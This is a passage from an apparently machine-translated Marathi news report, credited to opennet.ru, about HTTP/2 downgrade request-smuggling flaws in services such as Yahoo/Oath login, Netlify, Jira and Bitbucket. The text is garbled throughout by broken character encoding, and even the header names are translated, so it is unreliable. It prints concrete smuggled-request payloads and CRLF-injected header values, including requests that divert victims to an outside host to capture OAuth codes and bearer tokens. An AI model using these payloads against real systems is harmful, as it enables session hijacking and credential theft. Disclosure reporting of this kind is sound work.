рд╣реЛрддреЗ. рдЬрд░ "рд╣рд╕реНрддрд╛рдВрддрд░рдг-рдПрдирдХреЛрдбрд┐рдВрдЧ" рд╢реАрд░реНрд╖рд▓реЗрдЦ рдЕрд╕реЗрд▓, рддрд░ рдмреЕрдХрдПрдВрдб рддреЗ рдЙрдЪреНрдЪ рдкреНрд░рд╛рдзрд╛рдиреНрдп рдореНрд╣рдгреВрди рдШреЗрдК рд╢рдХрддреЗ рдЖрдгрд┐ "{size}\r\n{block" рдпрд╛ рдлреЙрд░рдореЕрдЯрдордзреАрд▓ рд╡реЗрдЧрд╡реЗрдЧрд│реНрдпрд╛ рдЖрдХрд╛рд░рд╛рдВрдЪреЗ рдмреНрд▓реЙрдХ рд╡рд╛рдкрд░реВрди "рдЪрдВрдХреНрдб" рдореЛрдбрдордзреНрдпреЗ рдбреЗрдЯрд╛ рддреБрдХрдбрд╛ рдкрд╛рд░реНрд╕ рдХрд░реВ рд╢рдХрддреЗ. }\r\n{size} \r\n{block}\r\n0", рдПрдХреВрдг рдЖрдХрд╛рд░рд╛рдиреБрд╕рд╛рд░ рдкреНрд░рд╛рд░рдВрднрд┐рдХ рд╡рд┐рднрд╛рдЧрдгреА рдЕрд╕реВрдирд╣реА.

рд╡реНрд╣реЗрд░рд┐рдЭреЙрдирдЪреНрдпрд╛ рдЙрджрд╛рд╣рд░рдгрд╛рджреНрд╡рд╛рд░реЗ рдЕрд╢рд╛ рдЕрдВрддрд░рд╛рдЪреА рдЙрдкрд╕реНрдерд┐рддреА рджрд░реНрд╢рд╡рд┐рд▓реА рдЧреЗрд▓реА. рд╕рдорд╕реНрдпрд╛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдкреЛрд░реНрдЯрд▓ рдЖрдгрд┐ рд╕рд╛рдордЧреНрд░реА рд╡реНрдпрд╡рд╕реНрдерд╛рдкрди рдкреНрд░рдгрд╛рд▓реАрд╢реА рд╕рдВрдмрдВрдзрд┐рдд рдЖрд╣реЗ, рдЬреА Huffington Post рдЖрдгрд┐ Engadget рд╕рд╛рд░рдЦреНрдпрд╛ рд╕рд╛рдЗрдЯрд╡рд░ рджреЗрдЦреАрд▓ рд╡рд╛рдкрд░рд▓реА рдЬрд╛рддреЗ. рдЙрджрд╛рд╣рд░рдгрд╛рд░реНрде, HTTP/2: :method POST :path /identitfy/XUI :authority id.b2b.oath.com рд╣рд╕реНрддрд╛рдВрддрд░рдг-рдПрдирдХреЛрдбрд┐рдВрдЧ рджреНрд╡рд╛рд░реЗ рдХреНрд▓рд╛рдпрдВрдЯ рд╡рд┐рдирдВрддреА 0 GET /oops HTTP/1.1 рд╣реЛрд╕реНрдЯ: psres.net рд╕рд╛рдордЧреНрд░реА-рд▓рд╛рдВрдмреА: 10 x=

рдмреЕрдХрдПрдВрдбрд▓рд╛ HTTP/1.1 рд╡рд┐рдирдВрддреА рдкрд╛рдард╡рдгреНрдпрд╛рдд рдкрд░рд┐рдгрд╛рдо: POST /identity/XUI HTTP/1.1 рд╣реЛрд╕реНрдЯ: id.b2b.oath.com рд╕рд╛рдордЧреНрд░реА-рд▓рд╛рдВрдмреА: 66 рд╣рд╕реНрддрд╛рдВрддрд░рдг-рдПрдирдХреЛрдбрд┐рдВрдЧ: chunked 0 GET /oops HTTP/1.1 рд╣реЛрд╕реНрдЯ: psres. рдирд┐рд╡реНрд╡рд│ рд╕рд╛рдордЧреНрд░реА- рд▓рд╛рдВрдмреА: 10x=

рдмреЕрдХрдПрдВрдбрдиреЗ, "рд╕рд╛рдордЧреНрд░реА-рд▓рд╛рдВрдмреА" рд╢реАрд░реНрд╖рд▓реЗрдЦрд╛рдХрдбреЗ рджреБрд░реНрд▓рдХреНрд╖ рдХреЗрд▓реЗ рдЖрдгрд┐ "рд╣рд╕реНрддрд╛рдВрддрд░рдг-рдПрдирдХреЛрдбрд┐рдВрдЧ: chunked" рд╡рд░ рдЖрдзрд╛рд░рд┐рдд рдЗрди-рд╕реНрдЯреНрд░реАрдо рд╕реНрдкреНрд▓рд┐рдЯрд┐рдВрдЧ рдХреЗрд▓реЗ. рд╡реНрдпрд╡рд╣рд╛рд░рд╛рдд, рд╣рд▓реНрд▓реНрдпрд╛рдореБрд│реЗ рд╡рд╛рдкрд░рдХрд░реНрддреНрдпрд╛рдЪреНрдпрд╛ рд╡рд┐рдирдВрддреНрдпрд╛ рддреНрдпрд╛рдВрдЪреНрдпрд╛ рд╡реЗрдмрд╕рд╛рдЗрдЯрд╡рд░ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рд┐рдд рдХрд░рдгреЗ рд╢рдХреНрдп рдЭрд╛рд▓реЗ, рдЬреНрдпрд╛рдордзреНрдпреЗ OAuth рдкреНрд░рдорд╛рдгреАрдХрд░рдгрд╛рд╢реА рд╕рдВрдмрдВрдзрд┐рдд рд╡рд┐рдирдВрддреНрдпрд╛ рд░реЛрдЦрдгреЗ, рдЬреНрдпрд╛рдЪреЗ рдорд╛рдкрджрдВрдб рд╕рдВрджрд░реНрдн рд╢реАрд░реНрд╖рд▓реЗрдЦрд╛рдд рдкреНрд░рджрд░реНрд╢рд┐рдд рдХреЗрд▓реЗ рдЧреЗрд▓реЗ рд╣реЛрддреЗ, рддрд╕реЗрдЪ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рд╕рддреНрд░рд╛рдЪреЗ рдЕрдиреБрдХрд░рдг рдХрд░рдгреЗ рдЖрдгрд┐ рдХреНрд░реЗрдбреЗрдиреНрд╢рд┐рдпрд▓реНрд╕ рдкрд╛рдард╡рдгреНрдпрд╛рд╕рд╛рдареА рд╡рд╛рдкрд░рдХрд░реНрддреНрдпрд╛рдЪреНрдпрд╛ рд╕рд┐рд╕реНрдЯрдорд▓рд╛ рдЯреНрд░рд┐рдЧрд░ рдХрд░рдгреЗ. рд╣рд▓реНрд▓реЗрдЦреЛрд░рд╛рдЪреНрдпрд╛ рдпрдЬрдорд╛рдирд╛рд▓рд╛. GET /b2blanding/show/oops HTTP/1.1 рд╣реЛрд╕реНрдЯ: psres.net рд╕рдВрджрд░реНрднрдХрд░реНрддрд╛: https://id.b2b.oath.com/?тАж&code=secret GET / HTTP/1.1 рд╣реЛрд╕реНрдЯ: psres.net рдЕрдзрд┐рдХреГрддрддрд╛: рд╡рд╛рд╣рдХ eyJhcGwiOiJIUzI1Gi1sInkR6cCII6

рдПрдЪрдЯреАрдЯреАрдкреА/2 рдЕрдВрдорд▓рдмрдЬрд╛рд╡рдгреАрд╡рд░ рд╣рд▓реНрд▓рд╛ рдХрд░рдгреНрдпрд╛рд╕рд╛рдареА рдЬреЗ рдЯреНрд░рд╛рдиреНрд╕рдлрд░-рдПрдиреНрдХреЛрдбрд┐рдВрдЧ рд╕реНрдпреВрдбреЛ-рд╣реЗрдбрд░ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рдгреНрдпрд╛рд╕ рдкрд░рд╡рд╛рдирдЧреА рджреЗрдд тАЛтАЛтАЛтАЛрдирд╛рд╣реАрдд, рджреБрд╕рд░реА рдкрджреНрдзрдд рдкреНрд░рд╕реНрддрд╛рд╡рд┐рдд рдХреЗрд▓реА рдЧреЗрд▓реА рдЖрд╣реЗ рдЬреНрдпрд╛рдордзреНрдпреЗ тАЬрд╣рд╕реНрддрд╛рдВрддрд░рдг-рдПрдирдХреЛрдбрд┐рдВрдЧтАЭ рд╣реЗрдбрд░рд▓рд╛ рдирд╡реАрди рд▓рд╛рдЗрди рд╡рд░реНрдгрд╛рдиреЗ рд╡рд┐рднрдХреНрдд рдХреЗрд▓реЗрд▓реНрдпрд╛ рдЗрддрд░ рдЫрджреНрдо-рд╣реЗрдбрд░рд╢реА рд╕рдВрд▓рдЧреНрди рдХрд░реВрди рдмрджрд▓рдгреЗ рд╕рдорд╛рд╡рд┐рд╖реНрдЯ рдЖрд╣реЗ ( рдпрд╛ рдкреНрд░рдХрд░рдгрд╛рдд HTTP/1.1 рдордзреНрдпреЗ рд░реВрдкрд╛рдВрддрд░рд┐рдд рдХреЗрд▓реНрдпрд╛рд╡рд░ рджреЛрди рд╕реНрд╡рддрдВрддреНрд░ HTTP рд╢реАрд░реНрд╖рд▓реЗрдЦ рддрдпрд╛рд░ рдХрд░рддрд╛рдд).

рдЙрджрд╛рд╣рд░рдгрд╛рд░реНрде, Atlassian Jira рдЖрдгрд┐ Netlify CDN (Firefox рдордзреНрдпреЗ Mozilla рд╕реНрдЯрд╛рд░реНрдЯ рдкреЗрдЬ рд╕рд░реНрд╡реНрд╣ рдХрд░рдгреНрдпрд╛рд╕рд╛рдареА рд╡рд╛рдкрд░рд▓реЗрд▓реЗ) рдпрд╛ рд╕рдорд╕реНрдпреЗрдореБрд│реЗ рдкреНрд░рднрд╛рд╡рд┐рдд рдЭрд╛рд▓реЗ. рд╡рд┐рд╢реЗрд╖рддрдГ, HTTP/2 рд╡рд┐рдирдВрддреА :method POST :path / :authority start.mozilla.org foo b\r\n рд╣рд╕реНрддрд╛рдВрддрд░рдг-рдПрдирдХреЛрдбрд┐рдВрдЧ: chunked 0\r\n \r\n GET / HTTP/1.1\r\n рд╣реЛрд╕реНрдЯ : evil-netlify-domain\r\n рд╕рд╛рдордЧреНрд░реА-рд▓рд╛рдВрдмреА: 5\r\n \r\nx=

рдкрд░рд┐рдгрд╛рдореА HTTP/1.1 POST/HTTP/1.1 рд╡рд┐рдирдВрддреА рдмреЕрдХрдПрдВрдбрд╡рд░ рдкрд╛рдард╡рд▓реА рдЧреЗрд▓реА\r\n рд╣реЛрд╕реНрдЯ: start.mozilla.org\r\n Foo: b\r\n рд╣рд╕реНрддрд╛рдВрддрд░рдг-рдПрдирдХреЛрдбрд┐рдВрдЧ: chunked\r\n рд╕рд╛рдордЧреНрд░реА-рд▓рд╛рдВрдмреА : 71\ r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n рд╣реЛрд╕реНрдЯ: evil-netlify-domain\r\n рд╕рд╛рдордЧреНрд░реА-рд▓рд╛рдВрдмреА: 5\r\n \r \nx=

"рд╣рд╕реНрддрд╛рдВрддрд░рдг-рдПрдирдХреЛрдбрд┐рдВрдЧ" рд╢реАрд░реНрд╖рд▓реЗрдЦ рдмрджрд▓рдгреНрдпрд╛рдЪрд╛ рджреБрд╕рд░рд╛ рдкрд░реНрдпрд╛рдп рдореНрд╣рдгрдЬреЗ рддреЗ рджреБрд╕рд░реНтАНрдпрд╛ рд╕реНрдпреВрдбреЛ-рд╣реЗрдбрд░рдЪреНрдпрд╛ рдирд╛рд╡рд╛рд╢реА рдХрд┐рдВрд╡рд╛ рд╡рд┐рдирдВрддреА рдкрджреНрдзрддреАрд╕рд╣ рдПрдХрд╛ рдУрд│реАрд╢реА рд╕рдВрд▓рдЧреНрди рдХрд░рдгреЗ. рдЙрджрд╛рд╣рд░рдгрд╛рд░реНрде, рдЕрдЯрд▓рд╛рд╕рд┐рдпрди рдЬрд┐рд░рд╛рдордзреНрдпреЗ рдкреНрд░рд╡реЗрд╢ рдХрд░рддрд╛рдирд╛, "chunked" рдореВрд▓реНрдпрд╛рд╕рд╣ рд╕реНрдпреВрдбреЛ-рд╣реЗрдбрд░ рдирд╛рд╡ "foo: bar\r\ntransfer-encoding" рдореБрд│реЗ HTTP рд╢реАрд░реНрд╖рд▓реЗрдЦ "foo: bar" рдЖрдгрд┐ "transfer-encoding: chunked" рдЬреЛрдбрд▓реЗ рдЧреЗрд▓реЗ. , рдЖрдгрд┐ рд╕реНрдпреВрдбреЛ-рд╣реЗрдбрд░ ":рдкрджреНрдзрдд" рдореВрд▓реНрдп рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рдгреЗ "GET / HTTP/1.1\r\nTransfer-encoding: chunked" рдЪреЗ рднрд╛рд╖рд╛рдВрддрд░ "GET/HTTP/1.1\r\ntransfer-encoding: chunked" рдордзреНрдпреЗ рдХреЗрд▓реЗ рдЧреЗрд▓реЗ.

рдЬреНрдпрд╛ рд╕рдВрд╢реЛрдзрдХрд╛рдиреЗ рд╕рдорд╕реНрдпрд╛ рдУрд│рдЦрд▓реА рддреНрдпрд╛рдВрдиреА рдлреНрд░рдВрдЯрдПрдВрдбрд╡рд░ рд╣рд▓реНрд▓рд╛ рдХрд░рдгреНрдпрд╛рд╕рд╛рдареА рд╡рд┐рдирдВрддреА рдЯрдиреЗрд▓рд┐рдВрдЧ рддрдВрддреНрд░ рджреЗрдЦреАрд▓ рдкреНрд░рд╕реНрддрд╛рд╡рд┐рдд рдХреЗрд▓реЗ, рдЬреНрдпрд╛рдордзреНрдпреЗ рдкреНрд░рддреНрдпреЗрдХ IP рдкрддреНрддрд╛ рдмреЕрдХрдПрдВрдбрд╢реА рд╕реНрд╡рддрдВрддреНрд░ рдХрдиреЗрдХреНрд╢рди рд╕реНрдерд╛рдкрд┐рдд рдХрд░рддреЛ рдЖрдгрд┐ рднрд┐рдиреНрди рд╡рд╛рдкрд░рдХрд░реНрддреНрдпрд╛рдВрдХрдбреАрд▓ рд░рд╣рджрд╛рд░реА рдорд┐рд╕рд│рд▓реА рдЬрд╛рдд рдирд╛рд╣реА. рдкреНрд░рд╕реНрддрд╛рд╡рд┐рдд рддрдВрддреНрд░ рдЗрддрд░ рд╡рд╛рдкрд░рдХрд░реНрддреНрдпрд╛рдВрдЪреНрдпрд╛ рд╡рд┐рдирдВрддреНрдпрд╛рдВрдордзреНрдпреЗ рд╣рд╕реНрддрдХреНрд╖реЗрдк рдХрд░рдгреНрдпрд╛рд╕ рдкрд░рд╡рд╛рдирдЧреА рджреЗрдд тАЛтАЛтАЛтАЛрдирд╛рд╣реА, рдкрд░рдВрддреБ рдЗрддрд░ рд╡рд┐рдирдВрддреНрдпрд╛рдВрдЪреНрдпрд╛ рдкреНрд░рдХреНрд░рд┐рдпреЗрд╡рд░ рдкрд░рд┐рдгрд╛рдо рдХрд░рдгрд╛рд░реЗ рд╕рд╛рдорд╛рдпрд┐рдХ рдХреЕрд╢реЗ рд╡рд┐рд╖рдмрд╛рдзрд╛ рдХрд░рдгреЗ рд╢рдХреНрдп рдХрд░рддреЗ рдЖрдгрд┐ рд╕реЗрд╡рд╛ рдорд╛рд╣рд┐рддреА рдлреНрд░рдВрдЯрдПрдВрдб рд╡рд░реВрди рдмреЕрдХрдПрдВрдбрд╡рд░ рд╣рд╕реНрддрд╛рдВрддрд░рд┐рдд рдХрд░рдгреНрдпрд╛рд╕рд╛рдареА рд╡рд╛рдкрд░рд▓реНрдпрд╛ рдЬрд╛рдгрд╛рд░реНтАНрдпрд╛ рдЕрдВрддрд░реНрдЧрдд HTTP рд╢реАрд░реНрд╖рд▓реЗрдЦрд╛рдВрдЪреНрдпрд╛ рдкреНрд░рддрд┐рд╕реНрдерд╛рдкрдирд╛рд╕ рдЕрдиреБрдорддреА рджреЗрддреЗ ( рдЙрджрд╛рд╣рд░рдгрд╛рд░реНрде, рдЕрд╢рд╛ рд╢реАрд░реНрд╖рд▓реЗрдЦрд╛рдВрдордзреНрдпреЗ рдлреНрд░рдВрдЯрдПрдВрдб рдмрд╛рдЬреВрд▓рд╛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд░рддрд╛рдирд╛ рд╡рд░реНрддрдорд╛рди рд╡рд╛рдкрд░рдХрд░реНрддреНрдпрд╛рдЪреА рдорд╛рд╣рд┐рддреА рдмреЕрдХрдПрдВрдбрд╡рд░ рдкреНрд░рд╕рд╛рд░рд┐рдд рдХрд░реВ рд╢рдХрддреЗ). рд╡реНрдпрд╡рд╣рд╛рд░рд╛рдд рдкрджреНрдзрдд рд▓рд╛рдЧреВ рдХрд░рдгреНрдпрд╛рдЪреЗ рдЙрджрд╛рд╣рд░рдг рдореНрд╣рдгреВрди, рдХреЕрд╢реЗ рд╡рд┐рд╖рдмрд╛рдзрд╛ рд╡рд╛рдкрд░реВрди, рдмрд┐рдЯрдмрдХреЗрдЯ рд╕реЗрд╡реЗрддреАрд▓ рдкреГрд╖реНрдард╛рдВрд╡рд░ рдирд┐рдпрдВрддреНрд░рдг рдорд┐рд│рд╡рдгреЗ рд╢рдХреНрдп рдЭрд╛рд▓реЗ.

рд╕реНрддреНрд░реЛрдд: opennet.ru

рдПрдХ рдЯрд┐рдкреНрдкрдгреА рдЬреЛрдбрд╛